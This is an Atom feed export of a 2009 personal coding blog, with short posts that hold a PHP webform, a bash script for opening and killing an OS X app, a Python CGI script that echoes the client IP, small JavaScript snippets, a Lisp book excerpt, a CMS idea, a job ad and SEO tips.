&amp;#60;div style="padding:2px"&amp;#62;
&amp;#60;/div&amp;#62;
&amp;#60;div style="padding:5px;background:#CCCCCC"&amp;#62;
SKILLS AND EXPERIENCE:
&amp;#60;br /&amp;#62;
Do you have a valid Drivers License?
&amp;#60;input type="radio" name="driverslicense" value="Yes"&amp;#62; Yes &amp;#60;input type="radio" name="driverslicense" value="No"&amp;#62; No 
&amp;#60;br /&amp;#62;
Do you have a first aid certificate?
&amp;#60;input type="radio" name="first_aidc_ertificate" value="Yes"&amp;#62; Yes &amp;#60;input type="radio" name="first_aid_certificate" value="No"&amp;#62; No 
&amp;#60;br /&amp;#62;
Do you have a food safe certificate?
&amp;#60;input type="radio" name="food_safe_certificate" value="Yes"&amp;#62; Yes &amp;#60;input type="radio" name="food_safe_certificate" value="No"&amp;#62; No 
&amp;#60;br /&amp;#62;
&amp;#60;/div&amp;#62;
&amp;#60;div style="padding:2px"&amp;#62;
&amp;#60;/div&amp;#62;
&amp;#60;div style="padding:5px;background:#CCCCCC"&amp;#62;
SPECIAL SKILLS:
&amp;#60;br /&amp;#62;
&amp;#60;input type="radio" name="av_support" value="Yes"&amp;#62; A/V Support
&amp;#60;input type="radio" name="artistic_skill" value="Yes"&amp;#62; Artistic Skill
&amp;#60;input type="radio" name="child_care" value="Yes"&amp;#62; Child Care
&amp;#60;br /&amp;#62;
&amp;#60;input type="radio" name="coach_referee_official" value="Yes"&amp;#62; Coach/Referee/Official
&amp;#60;input type="radio" name="customer_service" value="Yes"&amp;#62; Customer Service
&amp;#60;input type="radio" name="first_aid_certificate" value="Yes"&amp;#62; First Aid Certificate
&amp;#60;br /&amp;#62;
&amp;#60;input type="radio" name="public_speaking" value="Yes"&amp;#62; Public Speaking
&amp;#60;input type="radio" name="office_skills" value="Yes"&amp;#62; Office Skills
&amp;#60;input type="radio" name="photography" value="Yes"&amp;#62; Photography
&amp;#60;br /&amp;#62;
&amp;#60;input type="radio" name="musical_skills" value="Yes"&amp;#62; Musical Skills
&amp;#60;input type="radio" name="sport_skills" value="Yes"&amp;#62; Sport Skills
&amp;#60;input type="radio" name="teaching_education" value="Yes"&amp;#62; Teaching/Education
&amp;#60;br /&amp;#62;
&amp;#60;input type="radio" name="writing_editing" value="Yes"&amp;#62; Writing/Editing
&amp;#60;input type="radio" name="other_skill" value="Yes"&amp;#62; Other &amp;#60;input type="text" id="other_skill_detail" size="25" /&amp;#62;
&amp;#60;br /&amp;#62;
&amp;#60;/div&amp;#62;
&amp;#60;div style="padding:2px"&amp;#62;
&amp;#60;/div&amp;#62;
&amp;#60;div style="padding:5px;background:#CCCCCC"&amp;#62;
&amp;#60;input type="submit" name="submit" value=" SEND " /&amp;#62;
&amp;#60;/form&amp;#62;
&amp;#60;/div&amp;#62;
&amp;#60;div style="padding:2px"&amp;#62;
&amp;#60;/div&amp;#62;
&amp;#60;div style="padding:5px;background:#CCCCCC"&amp;#62;
&amp;#60;span style="font-style:monospace;font-size:75%"&amp;#62;this.web.form by this.is.lance.miller@gmail.com&amp;#60;/span&amp;#62;
&amp;#60;/div&amp;#62;
&amp;#60;?php
}
?&amp;#62;

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-4101271019901451446?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/4101271019901451446/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=4101271019901451446' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4101271019901451446'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4101271019901451446'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2009/10/php-webform-emails-xml-plain-text.html' title='PHP webform emails XML plain text'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-4463351450636405118</id><published>2009-10-14T06:05:00.000-07:00</published><updated>2009-10-14T06:10:22.484-07:00</updated><title type='text'>OS X CLI Open and Kill an App</title><content type='html'>&lt;pre&gt;
#!/usr/bin/env bash

case ${1} in
      "open")
      open /Applications/Yahoo\!\ Messenger.app/;
      let &amp;quot;myentry = `ps -au lance | grep /Applications/Yahoo\!\ Messenger.app/ | grep -v grep | awk '{print $2}'`&amp;quot;;
      echo "press enter to kill ${myentry}";
      read;
      kill $myentry; 
      clear;
      ps -au lance | grep /Applications/Yahoo\!\ Messenger.app/ | grep -v grep; 
       exit;;
   "") ls $0;cat $0;exit;;
esac


&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-4463351450636405118?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/4463351450636405118/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=4463351450636405118' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4463351450636405118'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4463351450636405118'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2009/10/os-x-cli-open-and-kill-app.html' title='OS X CLI Open and Kill an App'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-4856293104693929733</id><published>2009-10-05T03:52:00.000-07:00</published><updated>2009-10-05T03:53:17.680-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='REMOTE_ADDR'/><category scheme='http://www.blogger.com/atom/ns#' term='IP'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>ipserver.py</title><content type='html'>&lt;pre&gt;
#!/usr/bin/env python
#
# 
import os
import cgi


def main():
 print 'Content-Type: text/plain'
 print ''
        print os.environ['REMOTE_ADDR']
   

if __name__ == "__main__":
        
 main()
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-4856293104693929733?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/4856293104693929733/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=4856293104693929733' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4856293104693929733'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4856293104693929733'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2009/10/ipserverpy.html' title='ipserver.py'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-2300009171139930485</id><published>2009-07-02T04:05:00.000-07:00</published><updated>2009-07-02T04:08:45.869-07:00</updated><title type='text'>javascript return highest</title><content type='html'>&lt;pre&gt;
function returnhighest(input) {
var donothing = 0
var temp = 0
var highest = 0
for (var i=0;i &amp;#60; idtotalarray.length;i++) { input == idrarray[i] ? temp=idtotalarray[i] : donothing=donothing 
                                        temp &amp;#62; highest ? highest=temp : donothing=donothing }       
return highest      
}
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-2300009171139930485?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/2300009171139930485/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=2300009171139930485' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/2300009171139930485'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/2300009171139930485'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2009/07/javascript-return-highest.html' title='javascript return highest'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-7323591921663345585</id><published>2009-06-30T03:43:00.000-07:00</published><updated>2009-06-30T03:48:41.262-07:00</updated><title type='text'>Select option list access with Javascript</title><content type='html'>&lt;pre&gt;
function populateselection(input) { 
for (i=0;i &amp;lt; input.options.length; i++) 
{ input.options[i].selected ? chosenoption=input.options[i].value : donothing=donothing }

window.status=chosenoption 

}

&amp;#60;form name="selectinterface"&amp;#62;
&amp;#60;select name="refererselect" onchange="populateselection(selectinterface.refererselect)"&amp;#62;
&amp;#60;option name="topreferer" value="nothing"&amp;#62;view stats per referer&amp;#60;/option&amp;#62;
{% for referer in refererlist %}
&amp;#60;option name="{{ referer }}" value="{{ referer }}"&amp;#62;{{ referer }}&amp;#60;/option&amp;#62;
{% endfor %}
&amp;#60;/select&amp;#62;
&amp;#60;/form&amp;#62;
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-7323591921663345585?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/7323591921663345585/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=7323591921663345585' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/7323591921663345585'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/7323591921663345585'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2009/06/select-option-list-access-with.html' title='Select option list access with Javascript'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-5673386239669660934</id><published>2009-04-18T16:14:00.000-07:00</published><updated>2009-04-18T16:18:20.416-07:00</updated><title type='text'>Great narrative on compression</title><content type='html'>&lt;a href="http://www.gigamonkeys.com/book/practical-an-html-generation-library-the-interpreter.html"&gt;
Practical Common Lisp: Designing a Domain-Specific Language
&lt;/a&gt;

&lt;p&gt;&lt;span style="font-size:150%"&gt;"&lt;/span&gt;Designing an embedded language requires two steps: first, design the language that'll allow you to express the things you want to express, and second, implement a processor, or processors, that accepts a "program" in that language and either performs the actions indicated by the program or translates the program into Common Lisp code that'll perform equivalent behaviors.
&lt;/p&gt;&lt;p&gt;
So, step one is to design the HTML-generating language. The key to designing a good domain-specific language is to strike the right balance between expressiveness and concision. For instance, a highly expressive but not very concise "language" for generating HTML is the language of literal HTML strings. The legal "forms" of this language are strings containing literal HTML. Language processors for this "language" could process such forms by simply emitting them as-is.
&lt;/p&gt;
&lt;pre&gt;
(defvar *html-output* *standard-output*)

(defun emit-html (html)
  "An interpreter for the literal HTML language."
  (write-sequence html *html-output*))

(defmacro html (html)
  "A compiler for the literal HTML language."
  `(write-sequence ,html *html-output*))
&lt;/pre&gt;
&lt;p&gt;
This "language" is highly expressive since it can express any HTML you could possibly want to generate.1 On the other hand, this language doesn't win a lot of points for its concision because it gives you zero compression--its input is its output.
&lt;/p&gt;&lt;p&gt;
To design a language that gives you some useful compression without sacrificing too much expressiveness, you need to identify the details of the output that are either redundant or uninteresting. You can then make those aspects of the output implicit in the semantics of the language.
&lt;/p&gt;&lt;p&gt;
For instance, because of the structure of HTML, every opening tag is paired with a matching closing tag.2 When you write HTML by hand, you have to write those closing tags, but you can improve the concision of your HTML-generating language by making the closing tags implicit.&lt;span style="font-size:150%"&gt;"&lt;/span&gt;
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-5673386239669660934?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/5673386239669660934/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=5673386239669660934' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/5673386239669660934'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/5673386239669660934'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2009/04/great-narrative-on-compression.html' title='Great narrative on compression'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-6181384423299428465</id><published>2009-04-12T05:17:00.000-07:00</published><updated>2009-04-12T05:18:20.667-07:00</updated><title type='text'>PLEAC Python</title><content type='html'>&lt;a href="http://pleac.sourceforge.net/pleac_python/"&gt;PLEAC Python&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-6181384423299428465?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/6181384423299428465/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=6181384423299428465' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/6181384423299428465'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/6181384423299428465'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2009/04/pleac-python.html' title='PLEAC Python'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-1024955551882562246</id><published>2009-03-05T03:41:00.000-08:00</published><updated>2009-03-05T03:44:05.092-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><title type='text'>Object versus Browser Detection</title><content type='html'>&lt;p&gt;
&lt;a href="http://www.quirksmode.org/js/support.html"&gt;http://www.quirksmode.org/js/support.html&lt;/a&gt;
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-1024955551882562246?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/1024955551882562246/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=1024955551882562246' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/1024955551882562246'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/1024955551882562246'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2009/03/object-versus-browser-detection.html' title='Object versus Browser Detection'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-3318589098417896509</id><published>2009-03-01T06:41:00.000-08:00</published><updated>2009-03-01T07:39:13.671-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SIP'/><category scheme='http://www.blogger.com/atom/ns#' term='google search appliance'/><category scheme='http://www.blogger.com/atom/ns#' term='CMS'/><title type='text'>Statistically Improbable Phrases within a CMS</title><content type='html'>&lt;p&gt;
Look at &lt;a href="http://sip.s-anand.net/"&gt;http://sip.s-anand.net/&lt;/a&gt; for reference on what a Statistically Improbable Phrase is, and it has an immediate and fun way to play with the concept. 
&lt;/p&gt;
&lt;p&gt;
Here is my idea for a kind of Content Management System, with companies that make standardized widgets as the best use scenario. 
&lt;/p&gt;&lt;p&gt;
The company's product names, model numbers, prices, and other specifics are recorded as the &lt;a href="http://en.wikipedia.org/wiki/Text_corpus"&gt;text corpus&lt;/a&gt;. In all data entry, even email composing, the live typing is compared to the corpus. A tag cloud with oddest words shown in high contrast is ever present in a box near the data entry. 
&lt;/p&gt;&lt;p&gt;Corpora could have various granularities. Speaking in extremes of large and small, a corpus of all (or almost all) company online dialogue is a large example, and a corpus of model names/numbers/prices could be a tiny corpus example.   
&lt;/p&gt;&lt;p&gt;
I am not talking about Natural Language processing, although that could be more complex implementation of this role. I'm thinking more of a spellchecker data entry police that plugs all corporate dialogue into itself to show anomalous input. 
The easiest example is with a model number 5100AGT, I am writing an email and type 51000AGT, it shows up as anomalous.
&lt;/p&gt;&lt;p&gt;
The interesting place all this goes is A.I.-ish. The machine sees when the company is staying within behavioral bounds, and when the company is deviating from a norm. Example: the company normally does business in the midwest region around Chicago. Flights and hotels are regularly booked in Lansing, Minneapolis, and Milwaukee. The first trip by sales staff to Los Angeles stands out as a deviance from the norm, and in human terms can be expressed as gains in market territory. Funny: note that A.I. should only check sales trips with sales trips. The legal team suddenly traveling outside the normal sphere is not a sign of 
increased markets, but a sign of possible larger legal problems.    
&lt;/p&gt;&lt;p&gt;
This is not to deprecate the humble and effective selection menu. Very narrow data entry tasks are fully served by these menus. This SIP idea is more for the open end of company dialogue, where language is a little more natural but still redundant.   
&lt;/p&gt;&lt;p&gt;
I may be showing my ignorance more than my brilliance in this post. Google has long had the &lt;a href="http://www.google.com/enterprise/gsa/"&gt;Google Search Appliance (GSA)&lt;/a&gt;. A really smart company would have already cobbled together a CMS hack on top of the GSA service.
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-3318589098417896509?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/3318589098417896509/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=3318589098417896509' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/3318589098417896509'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/3318589098417896509'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2009/03/statistically-improbable-phrases-within.html' title='Statistically Improbable Phrases within a CMS'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-1674251810628914493</id><published>2009-03-01T06:40:00.000-08:00</published><updated>2009-03-01T06:41:03.315-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='regex'/><title type='text'>Javascript Regex Reference</title><content type='html'>&lt;a href="http://www.evolt.org/article/Regular_Expressions_in_JavaScript/17/36435/"&gt;
http://www.evolt.org/article/Regular_Expressions_in_JavaScript/17/36435/
&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-1674251810628914493?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/1674251810628914493/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=1674251810628914493' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/1674251810628914493'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/1674251810628914493'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2009/03/javascript-regex-reference.html' title='Javascript Regex Reference'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-9154034427673645132</id><published>2009-02-28T16:22:00.001-08:00</published><updated>2009-02-28T16:25:04.386-08:00</updated><title type='text'>Jitter Explained</title><content type='html'>(click on graphic to see full size)
&lt;a href="http://picasaweb.google.com/lh/photo/OBaXT_X8JSN5SZI3X-Sncg?feat=embedwebsite"&gt;&lt;img src="http://lh6.ggpht.com/_UVcOtPszHkk/SanVo7PlkaI/AAAAAAAADNQ/vNCJxZaBhMA/s400/JITTER.jpg" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-9154034427673645132?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/9154034427673645132/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=9154034427673645132' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/9154034427673645132'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/9154034427673645132'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2009/02/jitter-explained.html' title='Jitter Explained'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_UVcOtPszHkk/SanVo7PlkaI/AAAAAAAADNQ/vNCJxZaBhMA/s72-c/JITTER.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-1710071249289981396</id><published>2009-02-27T05:50:00.000-08:00</published><updated>2009-02-27T05:53:21.280-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><title type='text'>Front-End Engineer (Javascript, CSS, HTML, PHP)</title><content type='html'>&lt;h2&gt;Front-End Engineer (Javascript, CSS, HTML, PHP) (Midtown East)&lt;/h2&gt;
&lt;hr&gt;
&lt;a href="http://newyork.craigslist.org/mnh/web/1050750190.html"&gt;http://newyork.craigslist.org/mnh/web/1050750190.html&lt;/a&gt;&lt;br&gt;
Date: 2009-02-25,  7:57PM EST&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
We are a fast growing tech startup that is seeking a smart, creative and experienced front-end engineer to join our team to lead our effort to build responsive, intuitive and elegant web-based interfaces with Javascript, HTML and PHP. The ideal candidate will have 2+ years of experience designing modular and dynamic UIs.
&lt;br&gt;

&lt;br&gt;
Responsibilities:
&lt;br&gt;
    * Develop front-end code using HTML, CSS, Javascript and PHP
&lt;br&gt;
    * Implement reusable UI building blocks
&lt;br&gt;
    * Work with other team members to ensure seamless integration of the front-end with the entire platform
&lt;br&gt;
    * Incorporate user feedback and behaviour analysis to evolve the interface
&lt;br&gt;
    * Contribute to standards development and documentation
&lt;br&gt;

&lt;br&gt;
Requirements:
&lt;br&gt;
    * Expert XHMTL, CSS and Javascript skills (and ability to hand code)
&lt;br&gt;
    * 2+ years of web-application development experience
&lt;br&gt;
    * 2+ years experience with jQuery or some other Javascript framework
&lt;br&gt;
    * Ability to design, code, unit test and debug complex, DOM-based web applications for multiple browswers
&lt;br&gt;
    * Hands-on experience designing modular, object-oriented Javascript
&lt;br&gt;
    * Hands-on experience integrating REST web services and JSON
&lt;br&gt;
    * Ability to quickly turn Photoshop mockups into working code
&lt;br&gt;
    * Ability and willingness to learn new technologies
&lt;br&gt;
    
&lt;br&gt;
Bonus:
&lt;br&gt;
    * Solid familiarity with at least one web presentation framework
&lt;br&gt;
    * Fluent with PHP, PERL or Python
&lt;br&gt;
    * Fluent in SQL
&lt;br&gt;
    * Flash experience
&lt;br&gt;
 
&lt;br&gt;
We offer a relaxed work environment and a comprehensive set of benefits including medical, dental and 401k's.
&lt;br&gt;

&lt;br&gt;
If you're interested please email us with a cover letter, resume and either links to some sample work or sample code that you're proud of.
&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-1710071249289981396?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/1710071249289981396/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=1710071249289981396' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/1710071249289981396'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/1710071249289981396'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2009/02/front-end-engineer-javascript-css-html.html' title='Front-End Engineer (Javascript, CSS, HTML, PHP)'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-3267065216693921227</id><published>2009-02-12T08:00:00.000-08:00</published><updated>2009-02-12T08:11:21.530-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SEO'/><category scheme='http://www.blogger.com/atom/ns#' term='Microsoft'/><title type='text'>Basics of what I recommend for SEO</title><content type='html'>&lt;ol&gt;
&lt;li&gt; Domain name that reflects the area of interest/business truthfully. 
&lt;/li&gt;&lt;li&gt;
If the business is specific to an area, put that in the domain name and page content. 
   e.g. Best-Plumbing.com is a poor domain name if you are only in Seattle. Seattle-Best-Plumbing.com is what you want.
&lt;/li&gt;&lt;li&gt;
In the main page HTML there are META tags that tell search engines the CONTENT and DESCRIPTION. Whatever is written in the DESCRIPTION is what Google duplicates in their search results page. 
&lt;/li&gt;&lt;li&gt;
